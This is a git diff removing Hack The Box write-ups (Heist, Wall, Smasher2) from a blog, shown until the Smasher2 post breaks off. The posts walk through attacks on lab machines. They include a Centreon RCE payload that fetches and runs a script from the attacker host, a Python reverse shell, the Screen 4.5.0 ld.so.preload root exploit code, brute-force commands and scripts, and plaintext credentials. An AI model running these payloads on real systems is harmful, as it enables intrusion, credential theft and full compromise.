to the box with WinRM and user chase - -After password spraying with crackmapexec again, I found valid credentials for `chase` - -![](/assets/images/htb-writeup-heist/cme2.png) - -The port for WinRM is open so I'll use that to log in: - -Note: I'm using [evil-winrm](https://github.com/Hackplayers/evil-winrm) these days but those screenshots were taken some time ago before I started using it. - -``` -require 'winrm' - -# Author: Alamot - -conn = WinRM::Connection.new( - endpoint: 'http://10.10.10.149:5985/wsman', - #transport: :ssl, - user: 'chase', - password: 'Q4)sJu\Y8qz*A3?d', - :no_ssl_peer_verification => true -) - -command="" - -conn.shell(:powershell) do |shell| - until command == "exit\n" do - output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") - print(output.output.chomp) - command = gets - output = shell.run(command) do |stdout, stderr| - STDOUT.print stdout - STDERR.print stderr - end - end - puts "Exiting with code #{output.exitcode}" -end -``` - -![](/assets/images/htb-writeup-heist/user.png) - -## Extracting more credentials from Firefox - -I'll upgrade that shell to a Meterpreter first: - -![](/assets/images/htb-writeup-heist/msf1.png) - -![](/assets/images/htb-writeup-heist/msf2.png) - -![](/assets/images/htb-writeup-heist/msf3.png) - -I check out the `c:\inetpub\wwwroot\` directory for any hardcoded credentials in the PHP code and find a SHA256 hash for an admin account in the `login.php` file: - -``` -hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') -``` - -Fail: I wasn't able to crack this hash nor did I find it on crackstation.net. - -When checking out the running processes, I notice that Firefox is running: - -``` - 6264 5232 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe - 6388 6264 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe - 6588 792 wsmprovhost.exe x64 0 SUPPORTDESK\Chase C:\Windows\System32\wsmprovhost.exe - 6656 6264 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe - 6732 792 dllhost.exe x64 1 SUPPORTDESK\Chase C:\Windows\System32\dllhost.exe - 7052 6264 firefox.exe x64 1 SUPPORTDESK\Chase C:\Program Files\Mozilla Firefox\firefox.exe -``` - -If Firefox is running then there might some credentials in memory so I'll use procdump to create a memory dump and inspect it after: - -![](/assets/images/htb-writeup-heist/dump1.png) - -Before using a memory forensics tool like Volatility to inspect the memory dump, I'll try using strings and grep to look for the string `password`: - -![](/assets/images/htb-writeup-heist/admin.png) - -Looks like I found the admin's credentials, I'll use WinRM again to log in: - -![](/assets/images/htb-writeup-heist/root.png) \ No newline at end of file diff --git a/_posts/2019-12-07-htb-writeup-wall.md b/_posts/2019-12-07-htb-writeup-wall.md deleted file mode 100644 index f6fb2745e2..0000000000 --- a/_posts/2019-12-07-htb-writeup-wall.md +++ /dev/null @@ -1,283 +0,0 @@ ---- -layout: single -title: Wall - Hack The Box -excerpt: "Wall is running a vulnerable version of the Centreon application that allows authenticated users to gain RCE. The tricky part of this box was finding the path to the application since it's not something that normally shows up in the wordlists I use with gobuster. The intended way was to bypass the HTTP basic auth by using a POST then the redirection contained a link to the centreon page but instead I did some recon on the box creator's website and saw that he had written an exploit for Centreon and guessed the path accordingly. The priv esc was the same used on Flujab: a vulnerability in screen that allows the attacker to write to any file on the system." -date: 2019-12-07 -classes: wide -header: - teaser: /assets/images/htb-writeup-wall/wall_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - centreon - - screen - - waf - - centreon - - CVE-2019-13024 ---- - -![](/assets/images/htb-writeup-wall/wall_logo.png) - -Wall is running a vulnerable version of the Centreon application that allows authenticated users to gain RCE. The tricky part of this box was finding the path to the application since it's not something that normally shows up in the wordlists I use with gobuster. The intended way was to bypass the HTTP basic auth by using a POST then the redirection contained a link to the centreon page but instead I did some recon on the box creator's website and saw that he had written an exploit for Centreon and guessed the path accordingly. The priv esc was the same used on Flujab: a vulnerability in screen that allows the attacker to write to any file on the system. - -## Summary - -- There's a Centreon application running that is vulnerable to `CVE-2019-13024` -- We can guess or bruteforce the password and then execute the exploit -- The exploit needs to be modified because there is a WAF configured on the server -- Once we get a shell, we find a version of `screen` that is vulnerable to a root privesc exploit - -## Tools, Exploits & Blogs used - -- [POC for Centreon v19.04 Remote Code Execution CVE-2019-13024](https://github.com/mhaskar/CVE-2019-13024) -- [GNU Screen 4.5.0 - Local Privilege Escalation](https://www.exploit-db.com/exploits/41154) - -## Portscan - -``` -# nmap -sC -sV -p- 10.10.10.157 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 11:54 EST -Nmap scan report for 10.10.10.157 -Host is up (0.027s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA) -| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA) -|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: Apache2 Ubuntu Default Page: It works -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 36.93 seconds -``` - -## Website enumeration - -The webserver has the default page for Ubuntu. - -![](/assets/images/htb-writeup-wall/Screenshot_1.png) - -Maybe we need to use `wall.htb` as vhost but I get the same page when I put that in my `/etc/hosts`. There might be other vhosts that I need to fuzz but for now I'll start with gobuster to find interesting files. - -``` -# gobuster dir -q -w /opt/SecLists/Discovery/Web-Content/big.txt -x php -b 403,404 -u http://10.10.10.157 -/aa.php (Status: 200) -/monitoring (Status: 401) -/panel.php (Status: 200) -``` - -Both PHP files don't appear to contain anything interesting: - -![](/assets/images/htb-writeup-wall/Screenshot_2.png) - -![](/assets/images/htb-writeup-wall/Screenshot_3.png) - -The `/monitoring` URI requires HTTP basic authentication: - -![](/assets/images/htb-writeup-wall/Screenshot_4.png) - -## Enumeration fails - -Here's a list of various things I tried next but didn't return anything useful: -- Brute force the `/monitoring` page with hydra using admin as username and partial rockyou wordlist -- Fuzzing possible parameters on the `aa.php` and `panel.php` page -- Fuzzing vhosts for `FUZZ.wall.htb` and `FUZZ.htb` -- Fuzzing different User-Agent headers in HTTP request -- Ran Nikto to look for things I might have missed -- Ran gobuster again with a long list of extensions and multiple wordlists - -I did however notice that when I send a POST request with `nc`, `hostname` or `passwd` in the payload I get a 403 so this indicates there is probably a WAF running on this machine. - -![](/assets/images/htb-writeup-wall/Screenshot_5.png) - -## Recon - -I checked out the [box creator's github repo](https://github.com/mhaskar?) and I found a couple of exploits he wrote for various software. - -There's a Centreon exploit on his site so I tried `/centreon` and was able to get a valid page: - -![](/assets/images/htb-writeup-wall/Screenshot_6.png) - -After I finished the box I went back and tried to find the intended way and found that a POST request is not authenticated and I can see the redirection link: - -![](/assets/images/htb-writeup-wall/Screenshot_14.png) - -There's a CSRF token on the login page so it'll make brute forcing a bit more complicated: - -![](/assets/images/htb-writeup-wall/Screenshot_7.png) - -I ran gobuster against the `/centreon` page and I found an API directory: - -``` -# gobuster dir -q -w /opt/SecLists/Discovery/Web-Content/big.txt -b 403,404 -u http://10.10.10.157/centreon -/Themes (Status: 301) -/api (Status: 301) -/class (Status: 301) -``` - -## Exploiting Centreon - -According to the [Centreon's API documentation](https://documentation.centreon.com/docs/centreon/en/latest/api/api_rest/index.html), we can can log in with the following: - -![](/assets/images/htb-writeup-wall/Screenshot_8.png) - -The login API seems to work: - -``` -# curl -XPOST -d 'username=user&password=pass' 10.10.10.157/centreon/api/index.php?action=authenticate -"Bad credentials" -``` - -Next, I'll use wfuzz with a wordlist to bruteforce a valid login: - -``` -# wfuzz -w /opt/SecLists/Passwords/Leaked-Databases/rockyou-10.txt --hs 'Bad credentials' -XPOST -d 'username=admin&password=FUZZ' http://10.10.10.157/centreon/api/index.php?action=authenticate - -******************************************************** -* Wfuzz 2.4 - The Web Fuzzer * -******************************************************** - -Target: http://10.10.10.157/centreon/api/index.php?action=authenticate -Total requests: 92 - -=================================================================== -ID Response Lines Word Chars Payload -=================================================================== - -000000027: 200 0 L 1 W 60 Ch "password1" - -Total time: 2.605513 -Processed Requests: 92 -Filtered Requests: 91 -Requests/sec.: 35.30973 -``` - -Hahaha, I should have tested this simple password before bruteforcing the login. - -I can login to the Centreon app with `admin` / `password1`: - -![](/assets/images/htb-writeup-wall/Screenshot_9.png) - -The version is probably vulnerable to CVE-2019-13024 since it's running verison 19.04.0: - -![](/assets/images/htb-writeup-wall/Screenshot_10.png) - -I tried getting a reverse shell with the following but that didn't work: - -``` -# python Centreon-exploit.py http://10.10.10.157/centreon admin password1 10.10.14.19 4444 -[+] Retrieving CSRF token to submit the login form -[+] Login token is : 86c1c3f00327a8b146385ebc0ca23bde -[+] Logged In Sucssfully -[+] Retrieving Poller token -[+] Poller token is : 0e9822c471232e62c101655d120676b6 -[+] Injecting Done, triggering the payload -[+] Check your netcat listener ! -``` - -The WAF might be preventing the exploit from working. I modified the exploit to add debugging and display the xml message - -![](/assets/images/htb-writeup-wall/Screenshot_11.png) - -Now I'm seeing that it's trying to execute `id%2523` but it not's configured in my exploit payload so maybe the WAF filtered out my payload. - -![](/assets/images/htb-writeup-wall/Screenshot_12.png) - -After a bit of trial an error I found that the following payload goes through the WAF: - -`"nagios_bin": "wget${IFS}-O${IFS}/tmp/test.py${IFS}http://10.10.14.19/test.py;python${IFS}/tmp/test.py"` - -I setup my `test.py` to contain a standard python reverse shell (since nc / ncat wasn't installed on the target box): - -`import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.19",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);` - -![](/assets/images/htb-writeup-wall/Screenshot_13.png) - -``` -$ id -uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon) -``` - -## Privesc - -When I was checking for SUID files, I spotted something odd: The screen binary has been renamed to include the version number so this looks like a hint to me. I remember on the Flujab box that they used the same priv esc method. - -``` -$ find / -perm /4000 2>/dev/null -/bin/mount -/bin/ping -/bin/screen-4.5.0 -[...] -``` - -This particular version of the `screen` software opens the logfile with full root privileges so it's possible to write any file anywhere on the system. In a nutshell, the priv esc is: - -1. Compile `/tmp/rootshell`, a binary that simply spawns /bin/sh as user root -2. Compile `/tmp/libhax.so`, a shared library that will be loaded by `screen` as root. It chmods my `rootshell` binary to make it run as root. -3. Run screen and overwrite `/etc/ld.so.preload` to include the shared library `/tmp/libhax.so` -4. Run screen gain, this will load the shared library and execute the code -5. Now, the rootshell binary is SUID root and we can run it to get root access - -``` -$ cat << EOF > /tmp/libhax.c -#include -#include -#include -__attribute__ ((__constructor__)) -void dropshell(void){ - chown("/tmp/rootshell", 0, 0); - chmod("/tmp/rootshell", 04755); - unlink("/etc/ld.so.preload"); - printf("[+] done!\n"); -} -> EOF - -$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c -$ rm -f /tmp/libhax.c -``` - -``` -$ cat << EOF > /tmp/rootshell.c -#include -int main(void){ - setuid(0); - setgid(0); - seteuid(0); - setegid(0); - execvp("/bin/sh", NULL, NULL); -} -EOF -$ gcc -o /tmp/rootshell /tmp/rootshell.c -$ rm -f /tmp/rootshell.c -``` - -``` -$ cd /etc -$ umask 000 -$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" -$ /bin/screen-4.5.0 -ls -[+] done! -No Sockets found in /tmp/screens/S-www-data. - -$ /tmp/rootshell -id -uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon) -``` - -Now that I'm root I can grab both flags at the same time. - -``` -cat /root/root.txt -1fdbcf8c... - -cat /home/shelby/user.txt -fe619454... -``` \ No newline at end of file diff --git a/_posts/2019-12-14-htb-writeup-smasher2.md b/_posts/2019-12-14-htb-writeup-smasher2.md deleted file mode 100644 index 7fe81c44b1..0000000000 --- a/_posts/2019-12-14-htb-writeup-smasher2.md +++ /dev/null @@ -1,735 +0,0 @@ ---- -layout: single -title: Smasher2 - Hack The Box -excerpt: "Just its predecessor, Smasher2 is a very difficult box with reverse engineering and binary exploitation. Unfortunately, the initial step required some insane brute-forcing which took part of the fun out of this one for me. I solved the authentication bypass part using an unintended method: The code compares the password against the username instead of the password in the configuration file so by guessing the username I also had the password and could log in. I had to do some WAF evasion to get my payload uploaded and land a shell. Then the final part of the box is exploiting a kernel driver mmap handler to change the credential structure in memory of my current user to get root access." -date: 2019-12-14 -classes: wide -header: - teaser: /assets/images/htb-writeup-smasher2/smasher2_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - waf - - sqli - - bruteforce - - kernel module - - python - - re ---- - -![](/assets/images/htb-writeup-smasher2/smasher2_logo.png) - -Just its predecessor, Smasher2 is a very difficult box with reverse engineering and binary exploitation. Unfortunately, the initial step required some insane brute-forcing which took part of the fun out of this one for me. I solved the authentication bypass part using an unintended method: The code compares the password against the username instead of the password in the configuration file so by guessing the username I also had the password and could log in. I had to do some WAF evasion to get my payload uploaded and land a shell. Then the final part of the box is exploiting a kernel driver mmap handler to change the credential structure in memory of my current user to get root access. - -Overcast was the first one to find the intended way to solve the authentication bypass. He posted an excellent writeup about it here and I recommend you check it out: [https://www.justinoblak.com/2019/10/01/hack-the-box-smasher2.html](https://www.justinoblak.com/2019/10/01/hack-the-box-smasher2.html) - -## Summary - -- We can do a zone transfer to find the `wonderfulsessionmanager.smasher2.htb` sub-domain. -- The domain has a simple generic website with a login form running on Python Flask. -- On the main website there's a `/backup` directory that is protected by HTTP basic authentication and contains the source code of the web application running on the machine -- The unintended way to bypass the authentication of the web app is to review the source code, run the `auth.py` with the shared library locally and identify that the supplied password is being checked against the username (instead of the password). Then it's just a matter of bruteforcing usernames until we find that we can log in with `Administrator / Administrator` and get an API key. -- Once we have an API key, we have to defeat a WAF to gain RCE on the system. -- After getting a shell, we find a custom kernel module that is vulnerable to memory mapping issues. -- Using the discovered vulnerability, we can modify the credentials memory structure of our user and change it so we have root privileges. - -## Blogs used - -- [Kernel Driver mmap Handler Exploitation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-mmap-exploitation-whitepaper-2017-09-18.pdf) - -## Portscan - -``` -# nmap -sC -sV -p- 10.10.10.135 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-04 23:23 EDT -Nmap scan report for smasher2.htb (10.10.10.135) -Host is up (0.023s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA) -| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA) -|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519) -53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux) -| dns-nsid: -|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: 403 Forbidden -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -## Port 80 website enumeration - -The web server displays the default Ubuntu apache page: - -![](/assets/images/htb-writeup-smasher2/apache.png) - -When running gobuster I found an interesting `/backup` directory but it's protected by HTTP basic authentication. - -``` -# gobuster -w raft-large-words-lowercase.txt -t 25 -u http://10.10.10.135 -s 200,204,301,302,307,401 -/backup (Status: 401) -``` - -![](/assets/images/htb-writeup-smasher2/backup1.png) - -I tried a few different credentials but I wasn't able to get in. - -## DNS zone transfer - -In the portscan I saw that DNS was listening so I thought of doing a zone transfer to see if there are any sub-domains/vhosts. I found the `wonderfulsessionmanager.smasher2.htb` sub-domain by doing a zone transfer: - -``` -# host -t axfr smasher2.htb 10.10.10.135 -Trying "smasher2.htb" -Using domain server: -Name: 10.10.10.135 -Address: 10.10.10.135#53 -Aliases: - -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8130 -;; flags: qr aa; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0 - -;; QUESTION SECTION: -;smasher2.htb. IN AXFR - -;; ANSWER SECTION: -smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800 -smasher2.htb. 604800 IN NS smasher2.htb. -smasher2.htb. 604800 IN A 127.0.0.1 -smasher2.htb. 604800 IN AAAA ::1 -smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb. -smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800 -``` - -## Enumerating wonderfulsessionmanager.smasher2.htb - -On the `wonderfulsessionmanager.smasher2.htb` vhost I found a website for the DZONERZY Session Manager. - -![](/assets/images/htb-writeup-smasher2/dsm1.png) - -There's isn't much on the site except a login form at `/login`: - -![](/assets/images/htb-writeup-smasher2/dsm2.png) - -I tried a few random default credentials but I wasn't able to log in. As shown here, the login result comes in a JSON format: - -![](/assets/images/htb-writeup-smasher2/dsm3.png) - -Also, there is a `session` Cookie returned by the server: - -`eyJpZCI6eyIgYiI6IllUUXhaVFk1WlRGbVpXVmhaVEF4WldRNU1HSTBZekUwTlRoaE5UVXlOalprT0RJNFpXUXdNZz09In19.XPcIkQ.R6SdddxAKkm8zMC-SPtaIlO-MGM` - -That decodes to `{"id":{" b":"YTQxZTY5ZTFmZWVhZTAxZWQ5MGI0YzE0NThhNTUyNjZkODI4ZWQwMg=="}}` plus the signature. - -If we had the shared secret key we could probably craft our own arbitrary token but I don't see anything that would allow us to change privileges, unlike for example JWT tokens with an `admin=0` that we can change to `admin=1` after bruteforcing the shared secret. - -## Bruteforcing the backup directory - -After spending some time trying to find a vulnerability on the login page, I went back to the `/backup` folder I had found on the website with the IP address. I tried a few different wordlists without any luck. Since I didn't have the username, I had to guess it was either something generic like `admin` or any of the top usernames, or some combination of the 3 different names on the website: - -![](/assets/images/htb-writeup-smasher2/dsm4.png) - -I built a wordlist with the following usernames: - -``` -admin -backup -dev -temp -backup -Ally -Sanders -Robert -Anderson -John -McAffrey -asanders -randerson -jmcaffrey -ally -sanders -robert -anderson -john -mcaffrey -andersonr -sandersa -mcaffreyj -john.mcaffrey -robert.anderson -ally.sanders -``` - -Unfortunately not of them worked. By that time, a lot of people in the Mattermost HTB chat were stuck in the same place and the box creator dropped a hint that we had to use **the full rockyou.txt** wordlist and start at the letter c. He also mentioned that the username was `admin`. I don't know how this part of the box got past the HTB testers since heavy bruteforcing is normally not allowed (I think the box later got patched and that basic auth part was removed). To put this into perspective, even when knowing the username and the start letter, we're looking at potentially ~640k passwords in rockyou.txt: - -``` -# egrep "^c.*" /usr/share/wordlists/rockyou.txt > wordlist.txt -root@ragingunicorn:~/htb/smasher2# wc -l wordlist.txt -639676 wordlist.txt -``` - -In my opinion, this is way over the top since the full rockyou list has 14M+ entries and it's not possible to brute force an HTTP basic auth in a reasonable amount of time when we don't even know the username. Anyways, it still took me ~40 minutes to find the password when running 32 threads in hydra: - -``` -# hydra -l admin -P wordlist.txt 10.10.10.135 -t 32 http-get /backup -Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. - -Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-06-05 00:24:55 -[DATA] max 32 tasks per 1 server, overall 32 tasks, 639677 login tries (l:1/p:639677), ~19990 tries per task -[DATA] attacking http-get://10.10.10.135:80/backup -[STATUS] 7725.00 tries/min, 7725 tries in 00:01h, 631952 to do in 01:22h, 32 active -[STATUS] 7830.67 tries/min, 23492 tries in 00:03h, 616185 to do in 01:19h, 32 active -[STATUS] 7795.57 tries/min, 54569 tries in 00:07h, 585108 to do in 01:16h, 32 active -[STATUS] 7838.53 tries/min, 117578 tries in 00:15h, 522099 to do in 01:07h, 32 active -[STATUS] 7856.03 tries/min, 243537 tries in 00:31h, 396140 to do in 00:51h, 32 active -[80][http-get] host: 10.10.10.135 login: admin password: clarabibi -1 of 1 target successfully completed, 1 valid password found -Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-06-05 01:05:21 -``` - -Password: `clarabibi` - -I checked if that password was present in any other wordlist from SecLists, including the reduced rockyou list but I didn't find it there. It's only in the full rockyou list: - -``` -# grep -ri clarabibi /usr/share/seclists/ -root@ragingunicorn:~# grep -ri clarabibi /usr/share/wordlists/rockyou.txt -clarabibi -``` - -Ok, rant over. - -Once I had the password, I checked out the `/backup` and found the source code for the authentication page on `wonderfulsessionmanager.smasher2.htb` - -![](/assets/images/htb-writeup-smasher2/backup2.png) - -## Bypassing the login prompt (unintended method) - -The `auth.py` file is a Python Flask application that implements a few endpoints: - -- `/login` presents the HTML page for logging in - -![](/assets/images/htb-writeup-smasher2/code1.png) - -- `/auth` handles the AJAX request from the login page - -![](/assets/images/htb-writeup-smasher2/code2.png) - -- `/assets` serves static content such as images - -![](/assets/images/htb-writeup-smasher2/code3.png) - -- `/api` clearly contains an RCE vector through the `subprocess` function, but it expects a key which is provided after logging in - -![](/assets/images/htb-writeup-smasher2/code4.png) - -Unfortunately, the username and password have been scrubbed from the source file backup: - -![](/assets/images/htb-writeup-smasher2/code5.png) - -The code also uses the custom `ses` module but it's implemented through the `ses.so` shared object library so I don't have an easy python source code to review. - -``` -# file ses.so -ses.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, -BuildID[sha1]=0c67d40b77854318b10417b4aedfee95a52f0550, not stripped -``` - -To load the `ses.so` file in my Python code, I used the following `ses.py` snippet of code I found online: - -```python -def __bootstrap__(): - global __bootstrap__, __loader__, __file__ - import sys, pkg_resources, imp - __file__ = pkg_resources.resource_filename(__name__,'ses.so') - __loader__ = None; del __bootstrap__, __loader__ - imp.load_dynamic(__name__,__file__) -__bootstrap__() -``` - -Then I used a skeleton code to load create a SessionManager object: - -```python -import ses -import hashlib -import hmac -import base64 - -def craft_secure_token(content): - h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256) - return h.hexdigest() - -login = ["snowscan", "yolo1234"] -s = ses.SessionManager(login, craft_secure_token(":".join(login))) -``` - -I experimented in the interactive interpreter a bit to list the different methods available for this object: - -``` ->>> s = ses.SessionManager(login, craft_secure_token(":".join(login))) ->>> dir(s) -['__doc__', '__init__', '__module__', 'blocked', 'check_login', 'inc_login_count', 'last_login', - 'login_count', 'rst_login_count', 'secret_key', 'time_module', 'user_login'] -``` - -The `secret_key` property is created by the `craft_secure_token` function and it contains the API key that needs to be applied to access the `/api` endpoint: - -In this case, the key is created by the HMAC of the login and password I put in my skeleton code: - -```python -def craft_secure_token(content): - h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256) - return h.hexdigest() -... -Managers.update({id: ses.SessionManager(login, craft_secure_token(":".join(login)))}) -``` - -``` ->>> s.secret_key -'d781058ac21c2d30abc660e1c8d9c91e8f615ff1713a0d496b4153540be796d8' -``` - -There's a couple of method and properties to manage login count and lockout, but the most interesting method I checked after was `check_login`. Based on the `auth.py` source code, it expects a dictionnary with a `data` key that contains another dictionnary with both `username` and `password` as keys. - -I tested the `check_login` function a few times but it always returned a False result even when I put the right credentials: - -``` ->>> login = ["snowscan", "yolo1234"] ->>> s = ses.SessionManager(login, craft_secure_token(":".join(login))) ->>> d = { -... "data": { -... "username": "snowscan", -... "password": "yolo1234" -... } -... } ->>> ->>> s.check_login(d) -[False, {'username': 'snowscan', 'password': 'yolo1234'}] -``` - -To see what is going on with the module, I started GDB after I launched by Python interactive interpreter and just attached to the Python PID: - -``` -# ps -ef | grep python -root 33226 2076 0 01:04 pts/1 00:00:00 python - -# gdb -p 33226 -GNU gdb (Debian 8.2.1-2) 8.2.1 -``` - -I tried checking the functions with `info func` but since the program is already running, it shows all libc functions and others that are loaded. Way too much stuff displayed... My gdb skills suck so I used Ghidra to check the program functions: - -![](/assets/images/htb-writeup-smasher2/ghidra1.png) - -Only 4 functions shown for SessionManager: - -- SessionManager_check_login -- SessionManager_init_login_count -- SessionManager_init -- SessionManager_rst_login_count - -In `SessionManager_check_login`, I can see the code does two `strcmp` calls to check the username and password: - -![](/assets/images/htb-writeup-smasher2/ghidra2.png) - -I put a breakpoint in GDB at the `SessionManager_check_login` function call and traced its execution. - -First, there's a `strcmp` for the username: - -![](/assets/images/htb-writeup-smasher2/gdb.png) - -Then on the next `strcmp` for the password there's something really strange... - -![](/assets/images/htb-writeup-smasher2/gdb2.png) - -It's comparing the supplied password against the username. Wow, that's a pretty bad bug! So if I just brute force the usernames and I find a valid one I will be able to login by using it as the password. - -To brute force the username, I wrote the script below but had to factor in some error handling whenever I would get a 403 message for some usernames with invalid characters. Sometimes I would also get some false positive, plus the box also dies after ~300 login attempts so I had to reset quite a few times before I figured out the right wordlist. - -```python -#!/usr/bin/python - -import requests -import time - -proxies = { - "http": "http://127.0.0.1:8080" -} - -url = "http://wonderfulsessionmanager.smasher2.htb/auth" - -headers = { - "Content-Type": "application/json", - "X-Requested-With": "XMLHttpRequest", - -} - -with open("userlist3.txt") as f: - passwords = f.read().splitlines() - -i = 0 -bad = 0 - -while True: - bad = 0 - s = requests.Session() - r = s.get("http://wonderfulsessionmanager.smasher2.htb/login", proxies=proxies) - if r.status_code != 200: - print("GET FAILED!") - exit(1) - data = '{"action":"auth","data":{"username":"%s","password":"%s"}}' % (passwords[i], passwords[i]) - print("Testing username: %s" % passwords[i]) - while True: - r = s.post(url, headers=headers, data=data, proxies=proxies) - if r.status_code == 200: - break - if r.status_code == 403: - bad = bad + 1 - if bad == 5: - print("Skipping... %s" % passwords[i]) - break - if (not "Cannot authenticate with data" in r.text) and (bad < 5): - print("Potential password! %s" % passwords[i]) - with open("out.txt", "a") as f: - f.write("%s\n" % passwords[i]) - i = i + 1 - time.sleep(0.05) -``` - -Eventually, I found that the username `Administrator` is the right one (case-sensitive): - -``` -# python brute.py -Testing username: admin -Testing username: administrator -Testing username: operator -Testing username: sql -Testing username: demo -Testing username: pos -Testing username: user -Testing username: default -Testing username: defaultaccount -Testing username: account -Testing username: accounting -Testing username: guest -Testing username: guest -Testing username: adm -Testing username: office -Testing username: manager -Testing username: Admin -Testing username: Administrator -Potential password! Administrator -``` - -I can now log in and get an API key: - -![](/assets/images/htb-writeup-smasher2/apikey.png) - -## WAF evasion then RCE - -Using the `/api//job` API, I can execute some commands like `whoami`: - -![](/assets/images/htb-writeup-smasher2/rce1.png) - -However there is a WAF configured because the following commands are blocked and the server returns a 403 Forbidden: - -- most UNIX commands (ls, cat, etc.) -- multiple commands separated with a semi colon (ie. whoami;whoami) -- multiple commands separated with an ampersand (ie. whoami&&whoami) -- multiple commands separated by spaces -- and a bunch of others - -Instead of using `ls`, I can do `echo *` or `echo ../../../../*` to use path traversal and walk the entire file system. - -![](/assets/images/htb-writeup-smasher2/rce2.png) - -I was able to find the home directory of user `dzonerzy`. - -![](/assets/images/htb-writeup-smasher2/rce3.png) - -To read the flag I used the `tac` command which was not blacklisted. It's basically the same as `cat` but lists the content of the file in reverse order. - -![](/assets/images/htb-writeup-smasher2/rce4.png) - -After some experimentation I found that the `printf` command is allowed and that hex encoded characters are permitted. We're also allowed to redirect the output to files so I now have a way to write arbitrary data to files without being intercepted by the WAF. - -So I encoded the following shell script with CyberChef: - -![](/assets/images/htb-writeup-smasher2/rce5.png) - -Then I wrote the script to the server using `printf`: - -![](/assets/images/htb-writeup-smasher2/rce6.png) - -And made it executable... - -![](/assets/images/htb-writeup-smasher2/rce7.png) - -Then executed it and I finally got a shell - -![](/assets/images/htb-writeup-smasher2/rce8.png) - -``` -# nc -lvnp 4444 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::4444 -Ncat: Listening on 0.0.0.0:4444 -Ncat: Connection from 10.10.10.135. -Ncat: Connection from 10.10.10.135:51882. -id -uid=1000(dzonerzy) gid=1000(dzonerzy) groups=1000(dzonerzy),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare) -python -c 'import pty;pty.spawn("/bin/bash")' -dzonerzy@smasher2:~/smanager$ -``` - -After getting a shell, I dropped my RSA public key into `authorized_keys` so I could use a regular SSH session: - -``` -dzonerzy@smasher2:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQ -ABAAABAQC+SZ75RsfVTQxRRbezIJn+bQgNifXvjMWfhT1hJzl/GbTbykF -... -tGPTwuiA5NAcPKPG25jkQln3J8Id2ngappH2jeDg89 root@ragingunicorn" > .ssh/authorized_keys -``` - -``` -# ssh dzonerzy@10.10.10.135 -Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-45-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage - - * 'snap info' now shows the freshness of each channel. - Try 'snap info microk8s' for all the latest goodness. - -Last login: Fri Feb 15 22:05:15 2019 -dzonerzy@smasher2:~$ id -uid=1000(dzonerzy) gid=1000(dzonerzy) 